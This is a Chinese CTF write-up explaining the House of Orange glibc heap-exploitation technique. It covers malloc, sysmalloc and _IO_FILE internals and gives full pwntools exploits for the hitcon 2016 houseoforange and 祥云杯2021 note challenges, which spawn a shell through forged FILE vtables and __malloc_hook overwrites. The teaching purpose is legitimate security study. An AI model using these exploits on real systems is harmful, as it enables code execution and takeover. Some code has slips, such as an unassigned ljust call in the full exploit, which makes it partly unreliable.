house of orange

pic

利用场景

无free函数的堆溢出:没有free函数,或者是无法调用free函数free指定的堆块

malloc top chunk 源码分析

9.png-18.8kB
如图所示,当我们可以从heap处溢出的时候,就可以覆盖top chunk的size和p_size(上面这张图画的时候画错了P打成D了)

接下来来看top chunk的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
  victim = av->top;
size = chunksize (victim);

if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
av->top = remainder;
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);

check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}

/* When we are using atomic ops to free fast chunks we can get
here for all block sizes. */
else if (have_fastchunks (av))
{
malloc_consolidate (av);
/* restore original bin index */
if (in_smallbin_range (nb))
idx = smallbin_index (nb);
else
idx = largebin_index (nb);
}

/*
Otherwise, relay to handle system-dependent cases
*/
else
{
void *p = sysmalloc (nb, av);
if (p != NULL)
alloc_perturb (p, bytes);
return p;
}
}

当用户申请的chunk size小于top chunk size时,会从top chunk中分割一部分给用户使用

而当用户申请的chunk size大于top chunk size时,则会去调用sysmalloc

来看下syscall

如果arena为空或者需要分配的内存大小大于使用mmap进行分配的阀值mp_.mmap_threshold且mp_.n_mmaps判断系统还可以有可以使用mmap分配的空间,就会去调用mmap来分配内存

1
2
3
4
5
6
7
8
if (av == NULL
|| ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
&& (mp_.n_mmaps < mp_.n_mmaps_max)))
{
char *mm; /* return value from mmap call*/

try_mmap:
/* 省略 */

接下来会对top chunk进行检查
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
old_top = av->top;      /* top chunk 的指针 */
old_size = chunksize (old_top); /* top chunk 的大小 */
old_end = (char *) (chunk_at_offset (old_top, old_size)); /* top chunk 的尾部地址 */

brk = snd_brk = (char *) (MORECORE_FAILURE);

/*
If not the first time through, we require old_size to be
at least MINSIZE and to have prev_inuse set.
*/

assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));

/* Precondition: not enough current space to satisfy nb request */
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));


这之后会对top chunk 进行扩展,当arena == main arena时会先调用grow_heap来扩展,若扩展失败,则会进入eles路线,最终触发 _int_free (av, old_top, 1)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
if (av != &main_arena)
{
heap_info *old_heap, *heap;
size_t old_heap_size;

/* First try to extend the current heap. */
old_heap = heap_for_ptr (old_top);
old_heap_size = old_heap->size;
if ((long) (MINSIZE + nb - old_size) > 0
&& grow_heap (old_heap, MINSIZE + nb - old_size) == 0)
{
av->system_mem += old_heap->size - old_heap_size;
arena_mem += old_heap->size - old_heap_size;
set_head (old_top, (((char *) old_heap + old_heap->size) - (char *) old_top)
| PREV_INUSE);
}
else if ((heap = new_heap (nb + (MINSIZE + sizeof (*heap)), mp_.top_pad)))
{
......
if (old_size >= MINSIZE)
{
set_head (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE);
set_foot (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ));
set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);
_int_free (av, old_top, 1);
}

同理,当arena != main_arena 时也会触发 _int_free (av, old_top, 1)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
if (snd_brk != (char *) (MORECORE_FAILURE))
{
av->top = (mchunkptr) aligned_brk;
set_head (av->top, (snd_brk - aligned_brk + correction) | PREV_INUSE);
av->system_mem += correction;

/*
If not the first time through, we either have a
gap due to foreign sbrk or a non-contiguous region. Insert a
double fencepost at old_top to prevent consolidation with space
we don't own. These fenceposts are artificial chunks that are
marked as inuse and are in any case too small to use. We need
two to make sizes and alignments work out.
*/

if (old_size != 0)
{
/*
Shrink old_top to insert fenceposts, keeping size a
multiple of MALLOC_ALIGNMENT. We know there is at least
enough space in old_top to do this.
*/
old_size = (old_size - 4 * SIZE_SZ) & ~MALLOC_ALIGN_MASK;
set_head (old_top, old_size | PREV_INUSE);

/*
Note that the following assignments completely overwrite
old_top when old_size was previously MINSIZE. This is
intentional. We need the fencepost, even if old_top otherwise gets
lost.
*/
chunk_at_offset (old_top, old_size)->size =
(2 * SIZE_SZ) | PREV_INUSE;

chunk_at_offset (old_top, old_size + 2 * SIZE_SZ)->size =
(2 * SIZE_SZ) | PREV_INUSE;

/* If possible, release the rest. */
if (old_size >= MINSIZE)
{
_int_free (av, old_top, 1);
}

画个简单的流程图来总结一下

10.png-53.6kB
综上所述 , 当我们控制top chunk的大小为unsorted bin的大小时,就可以unsorted bin attact

malloc_printerr 源码分析

malloc_printerr是malloc中用于提示错误的函数,该函数最终会调用libc_message

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr)
{
/* Avoid using this arena in future. We do not attempt to synchronize this
with anything else because we minimally want to ensure that __libc_message
gets its resources safely without stumbling on the current corruption. */
if (ar_ptr)
set_arena_corrupt (ar_ptr);

if ((action & 5) == 5)
__libc_message (action & 2, "%s\n", str);
else if (action & 1)
{
char buf[2 * sizeof (uintptr_t) + 1];

buf[sizeof (buf) - 1] = '\0';
char *cp = _itoa_word ((uintptr_t) ptr, &buf[sizeof (buf) - 1], 16, 0);
while (cp > buf)
*--cp = '0';

__libc_message (action & 2, "*** Error in `%s': %s: 0x%s ***\n",
__libc_argv[0] ? : "<unknown>", str, cp);
}
else if (action & 2)
abort ();
}

跟进
libc_message,最终会调用abort()来切断进程
1
2
3
4
5
6
7
if (do_abort)
{
BEFORE_ABORT (do_abort, written, fd);

/* Kill the application. */
abort ();
}

继续跟进,abrot里面会调用fflush
1
2
3
4
5
if (stage == 1)
{
++stage;
fflush (NULL);
}c

可以得到一条调用链
_IO_fflush -> _IO_flush_all -> _IO_flush_all_lockp

_IO_flush_all_lockp从_IO_list_all作为链表头进行遍历,以当前节点作为 _IO_OVERFLOW的参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
IO_flush_all_lockp (int do_lock)
{
int result = 0;
struct _IO_FILE *fp;
int last_stamp;

#ifdef _IO_MTSAFE_IO
__libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
if (do_lock)
_IO_lock_lock (list_all_lock);
#endif

last_stamp = _IO_list_all_stamp;
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;

if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;

if (last_stamp != _IO_list_all_stamp)
{
/* Something was added to the list. Start all over again. */
fp = (_IO_FILE *) _IO_list_all;
last_stamp = _IO_list_all_stamp;
}
else
fp = fp->_chain;
}

#ifdef _IO_MTSAFE_IO
if (do_lock)
_IO_lock_unlock (list_all_lock);
__libc_cleanup_region_end (0);
#endif

return result;
}


_IO_OVERFLOW的定义如下,它会去调用overflow函数,而overflow函数又和_IO_FILE里的函数相关
1
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)

如果我们最终可以伪造IO_FILE结构,就可以达到劫持程序流的目的

_IO_FILE结构如下,struct _IO_FILE _chain是一个用于指向_IO_FILE中下一个成员的指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;


_IO_FILE作为一个单链表结构,_IO_list_all作为表头,利用之前得到的unsorted bin
则可以劫持_IO_list_all,将_IO_list_all的值伪造为main_arena+88。此时main_arena+88
作为_IO_FILE的头,但是由于main_arena+88是不可控的,所以不能在此处伪造,但我们可以通过
struct _IO_FILE
_chain将其链接到一个可控的地方来伪造我们的_IO_FILE。当调用_IO_FILE
时,由于mian_arena+88的数据不符合,就会通过*_chain去向后搜索,当搜索到我们伪造好的
_IO_FILE结构体时就会调用其虚表里的函数。

而如果将main_arena+88处看作一个_IO_FILE结构体,那么struct _IO_FILE *_chain
指针的位置为main_arena+88+0x68,该位置刚好是0x60大小的small bin第一个chunk的地址。
如果将伪造好的_IO_FILE结构体布置在那里,那么当程序执行_IO_OVERFLOW时,我们就可以劫持
程序流

那么如何得到一个大小为0x60的small bin呢,在构造unsorted bin的时候我们可以将其size
覆盖为0x60,这样在发生unsorted bin 遍历时就会将这个unsorted bin 链入到small bin中,代
码如下

1
2
3
4
5
6
7
8
9
10
11
if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;

总结

在伪造_IO_FILE结构时需要注意一下几点
1.fp->mode = 0
2._IO_write_ptr < _IO_write_base
3._IO_read_ptr = 0x60 (small bin [4])
4._IO_read_base = _IO_list_all - 0x10 (unsorted bin bk)

列题

hitcon_2016_houseoforange

IDA分析

build 除了限制了申请次数为3外没什么特别的
11.png-77.8kB

漏洞在update上 可以造成堆溢出,得到unsorted bin
12.png-66.3kB

Step1 修改top chunk size

13.png-90.3kB

可以看到top chunk 的size为0x21f81,
而经过IDA分析我们最大可以申请大小为0x1000大小的堆块,
可以利用堆溢出来修改size位为0xf81,构造如下payload

1
2
3
build(0x40,'a'*0x40)
payload = b'a'*0x40+p64(0)+p64(0x21)+p64(0)*3+p64(0xf81)
edit(len(payload),payload)

Step2 unsorted bin attack 泄露地址

接下来申请一个大于top chunk的chunk的到unsorted bin

1
build(0x1000,'b')

14.png-64.1kB
可看到我们的到了一个unsorted bin并且其fd 和 bk指针均指向main_arena_88的位置
接下来就是的到unsorted bin 申请chunk 来 libc_base 和 heap_addr 了
1
2
3
4
5
6
7
8
9
10
11
12
build(0x400,'c')
show()
sh.recvuntil('Name of house : ')
main_arena_88 = u64(sh.recvuntil('\n',drop = True).ljust(8,b'\x00'))
libc_base = main_arena_88 - 0x3c5163

#泄露堆地址
edit(0x10,'c'*0x10)
show()
sh.recvuntil('c'*0x10)
heap_addr = u64(sh.recvuntil('\n',drop = True).ljust(8,b'\x00'))
heap_base = heap_addr - 0xE0

Step3 伪造_IO_FILE结构体

15.png-91.7kB
16.png-69.2kB

我们需要将_IO_FIlE按照前面总结的方式伪造,
当触发malloc时,glibc会整理unsorted bin,把对应size的chunk放入smallbin里面
由于我们申请的chunk不和法,会触发malloc_printerr ,随后_IO_flush_all_lockp会从_IO_list_all指向的FILE结构开始查找,找到合适_IO_FILE作为_IO_OVERFLOW的参数,执行vtable里面的函数,把IO_FILE结构体本身作为参数
这时我们只要将__overflow覆盖成system,并在fake_IO_FILE中写入/bin/sh做为参数就能getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
payload = b'a'*0x400
payload += p64(0) + p64(0x21) + b'a'*0x10
fake_file = b'/bin/sh\x00' + p64(0x60) #_IO_read_ptr = 0x60 (small bin [4])
fake_file += p64(0) + p64(_IO_list_all_addr-0x10)
fake_file += p64(0) + p64(1)#_IO_write_base < _IO_write_ptr
fake_file = fake_file.ljust(0xC0,b'\x00')
fake_file += p64(0) + p64(1) +p64(0)
fake_file += p64(heap_base+0x5E8)#vtable指针,同时,也作为fake_vtable的__dummy 这里的0x5E8=0x510+0xC0+0x18
fake_file += p64(0)*2 #__dummy2、__finish
fake_file += p64(system_addr)#覆盖__overflow
payload += fake_file
edit(len(payload),payload)
print(hex(system_addr))
sh.recv()
sh.sendline('1') #触发malloc

下面是触发malloc后_IO_FILE的情况
17.png-161.9kB
18.png-99.2kB
19.png-56kB
成功get shell

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *
context.log_level = 'debug'
#p = remote("node4.buuoj.cn",25967)
p = process('/home/hgg/Desktop/houseoforange_hitcon_2016')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
elf = ELF('/home/hgg/Desktop/houseoforange_hitcon_2016')

def build(size,payload):
p.recvuntil(": ")
p.sendline("1")
p.recvuntil(":")
p.sendline(str(size))
p.recvuntil(":")
p.send(payload)
p.recvuntil(":")
p.sendline("199")
p.recvuntil(":")
p.sendline("1")

def update(size,payload):
p.recvuntil(": ")
p.sendline("3")
p.recvuntil(":")
p.sendline(str(size))
p.recvuntil(":")
p.send(payload)
p.recvuntil(":")
p.sendline("120")
p.recvuntil(":")
p.sendline("1")

def show():
p.recvuntil(": ")
p.sendline("2")

build(0x30,b'a'*0x30)
payload = b'a'*0x30+p64(0)+p64(0x21)+b'b'*0x10+p64(0)+p64(0xf81)
update(len(payload),payload)
build(0x1000,b'b')
build(0x400,b'c')
show()
p.recvuntil("Name of house : ")
main_arena_88 = u64(p.recvuntil('\x7f').ljust(8,b"\x00"))
libc_base = main_arena_88 - 0x3c5163
system_addr = libc_base + libc.sym['system']
IO_list_all = libc_base + libc.symbols['_IO_list_all']

update(0x10,b'a'*0x10)
show()
p.recvuntil('a'*0x10)
heap_addr = u64(p.recvuntil('\n',drop=True).ljust(8,b'\x00'))
heap_base = heap_addr - 0xe0
print(hex(heap_base))
gdb.attach(p)


payload = b'a'*0x400+p64(0)+p64(0x21)+b'a'*0x10
payload1 = b'/bin/sh\x00'+ p64(0x60)
payload1 += p64(0)+p64(IO_list_all-0x10)
payload1 += p64(0)+p64(1)
payload1.ljust(0xc0,b'\x00')
payload1 += p64(0)*3 + p64(heap_base + 0x5E8)
payload1 += p64(0)*2
payload1 += p64(system_addr)
payload = payload+payload1
update(len(payload),payload)
p.recvuntil(": ")
p.sendline("1")

p.interactive()

祥云杯2021_note

IDA分析

add

20.png-47kB

say
21.png-27.8kB

show
22.png-19.7kB

Step1泄露堆地址

这个不难,有手就行,直接上代码

1
2
3
add(0x40,b'a'*0x40)
p.recvuntil("addr: ")
heap_addr = int(p.recv(14),16)

Step2 house of orange得到unsorted bin

前面我们通过堆溢出来修改top chunk 的size ,但是这道题不行
这道题需要用,scanf的格式化字符串漏洞来修改数据
一般来说scanf(“%d”,&a),%d是格式化字符串,&a是参数,scanf的前5个参数都是由寄存器储存的,从第6个开始储存在栈上
所以我们构造格式化字符串 %7$s.ljust(8,’\x00’) (原因是栈上的第一个参数会放置我们的格式化字符串,第二个参数则会去作为我们任意地址写的参数)

1
2
3
top_chunk = heap_addr + 0x40
top_size = top_chunk + 8
say(b'%7$daaaa'+p64(top_size),str(0xfb1))

23.png-19.5kB
可以看到top chunk 已经被成了伪造0xfb1
接下来只要我们连续申请chunk就能得到unsorted bin 来leak libc了
1
2
3
4
5
6
7
8
for i in range(15):
add(0x100,b'a')

add(0x10,b'a')
show()
p.recvuntil("content:")
libc_addr = u64(p.recv(6).ljust(8,b'\x00'))
libc_base = libc_addr - 0x3C4C61

24.png-66kB

Step3 malloc_hook 劫持为 realloc ,realloc_hook 劫持为 onegadget 来 get shell

1
2
3
4
5
6
7
8
9
10
11
12
one_gadgets = [0x45226,0x4527a,0xf03a4,0xf1247]
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc_hook = libc_base + libc.sym['__realloc_hook']
realloc = libc_base + libc.sym['realloc']
one = libc_base + one_gadgets[1]

say(b'%7$saaaa'+p64(malloc_hook-8),p64(one)+p64(realloc+12))

p.recvuntil("choice: ")
p.sendline("1")
p.recvuntil("size: ")
p.sendline("2")

反思

上述的利用方式仅仅只是对glibc2.23及以下版本有效
在glibc2.24 - 2.26 之间增加了对vtable合法性的检查,即虚表的地址必须在startlibc_IO_vatbales 和 stoplibc_IO_vtables之间
bypass思路:__overflow->_IO_strn_jump->_IO_str_finish(_IO_FILE+0x38 = /bin/sh , _IO_FIE+0Xe8 = system)

1.fp->mode = 0
2._IO_write_ptr < _IO_write_base
3._IO_read_ptr = 0x60 (small bin [4])
4._IO_read_base = _IO_list_all - 0x10 (unsorted bin bk)
5.vtable = _IO_str_jump - 8 
6.byte(fp->flags) = 0
7.fp -> _IO_buf_base = /bin/sh
8.fp -> 0xe8 = system

在glibc2.27之后则是去掉了abort()中的fflush(NULL)使得该漏洞无法得到利用

P.S. 在伪造top chunk时要注意合法性

参考链接

https://www.bilibili.com/video/BV1Uv411j7fr?p=28
https://mp.weixin.qq.com/s?__biz=MzkxMTI2NTQ0NA==&mid=2247483912&idx=5&sn=08530a5ac5dd9b87ca43d9abff3939de&chksm=c11f99c3f66810d53cdec65944e86e59af183102337f0f35b284ccb19456bee99df8cbe02255&mpshare=1&scene=23&srcid=08265eMSjEXjdjMfogEOv6UO&sharer_sharetime=1629949810901&sharer_shareid=e6354a0018f4b85eab5b69e4a2130a22#rd
https://www.cnblogs.com/hetianlab/p/13884739.html
https://blog.csdn.net/seaaseesa/article/details/104314949